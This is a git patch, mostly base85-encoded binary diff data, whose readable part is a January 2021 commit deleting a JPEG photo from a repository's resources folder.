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 Date: Sun, 10 Jan 2021 22:38:14 +0530 Subject: [PATCH 464/838] Delete photo_2021-01-10_22-29-16.jpg --- resources/photo_2021-01-10_22-29-16.jpg | Bin 12339 -> 0 bytes 1 file changed, 0 insertions(+), 0 deletions(-) delete mode 100644 resources/photo_2021-01-10_22-29-16.jpg diff --git a/resources/photo_2021-01-10_22-29-16.jpg b/resources/photo_2021-01-10_22-29-16.jpg deleted file mode 100644 index 207ae1516c153342d3630fa97f497afcd0071494..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 12339 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 